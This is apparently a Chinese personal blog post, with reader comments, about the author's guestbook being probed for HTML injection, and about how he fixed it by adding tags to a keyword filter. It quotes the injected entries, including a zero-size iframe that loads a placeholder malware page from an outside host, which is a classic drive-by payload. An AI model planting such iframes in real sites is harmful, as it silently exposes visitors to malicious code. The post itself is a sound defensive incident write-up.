留言簿被别人测试挂马

先戴个图给大家看看:
iframe.JPG

一看就知道是被别人测试iframe挂马了,看来留言簿的代码还是有问题,没有把该过滤的东西过滤掉。putty到DH主机上看看MYSQL数据库里面的东西:

最早有问题的留言是:

 <tr>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>

这个应该是测试是否可以提交HTML标签的。接下来的留言内容:

 <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>              

这段代码是被写入留言簿中的留言内容,产生一个高、宽为0的frame,经典的挂马行为。这个frame在opera下可以看到,很小的一块,但是IE里是看不到的,当然也只有IE才会中iframe的马。看看在Opera中的效果:
d.jpg

再看下面:

<iframe src=http://www.google.com width=100 height=100></iframe> 

产生一个高、宽为100的frame,里面是google主页。

 <iframe src=http://www.google.com ></iframe>   

最后一个,未指定高、宽由页面自动匹配。

知道问题的原因了,看了看留言簿的代码,在关键字过滤处没有<tr> <iframe>这两个标签,现在加上去就好了。然后在MYSQL中删除这几条垃圾留言。OK

这个年头自己弄个网站不知道一天有多少人在打你的主意,你要是有点流量的话更是会被别人定上的,网上混的话还是安全第一。

This entry was posted in Not Language, 编程相关. Bookmark the permalink.

10 Responses to 留言簿被别人测试挂马

  1. Amankwah says:

    Opera好!这都发现了,不知道Firefox能看到不?

  2. wind says:

    虾米叫挂马?

  3. cocobear says:

    TO:wind

    google 挂马

    firefox不知道了,贴出来的图片没有边框,看不清楚,郁闷;

  4. 草儿 says:

    汗……
    不知道GOOGLE有没有提示你“该网站含有恶意代码”,哈哈~

  5. luguo says:

    很黄很暴力~~

  6. cocobear says:

    没那么夸张,只是别人测试,你看那个地址也是不存在的
    http://www.xxx.com/muma.html

  7. crazyfranc says:

    你可真细心啊。看来以后还是换OPERA好了。

  8. cnenc says:

    以前就提示你,可惜你一直不当回事.

  9. kongove says:

    能透露一下,还有那些关键标签没过滤呢??

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>